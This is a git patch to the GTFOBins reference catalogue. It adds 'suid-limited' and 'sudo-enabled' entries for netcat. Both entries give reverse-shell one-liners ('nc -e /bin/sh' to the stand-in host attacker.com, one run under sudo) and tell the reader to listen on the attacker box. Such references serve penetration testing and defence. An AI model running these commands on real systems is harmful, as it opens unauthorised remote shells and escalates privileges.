From fbd8a68caecbf65218edfa9fc461c453df1f3c0d Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Sun, 22 Jul 2018 15:34:05 +0100 Subject: [PATCH] Add suid-limited and sudo-enabled to nc --- _gtfobins/nc.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/_gtfobins/nc.md b/_gtfobins/nc.md index 3f49672..3786c9a 100644 --- a/_gtfobins/nc.md +++ b/_gtfobins/nc.md @@ -24,4 +24,16 @@ functions: LPORT=12345 LFILE=file_to_save nc -l -p $LPORT > "$LFILE" + suid-limited: + - description: Run `nc -l -p 12345` on the attacker box to receive the shell. + code: | + RHOST=attacker.com + RPORT=12345 + ./nc -e /bin/sh $RHOST $RPORT + sudo-enabled: + - description: Run `nc -l -p 12345` on the attacker box to receive the shell. + code: | + RHOST=attacker.com + RPORT=12345 + sudo nc -e /bin/sh $RHOST $RPORT ---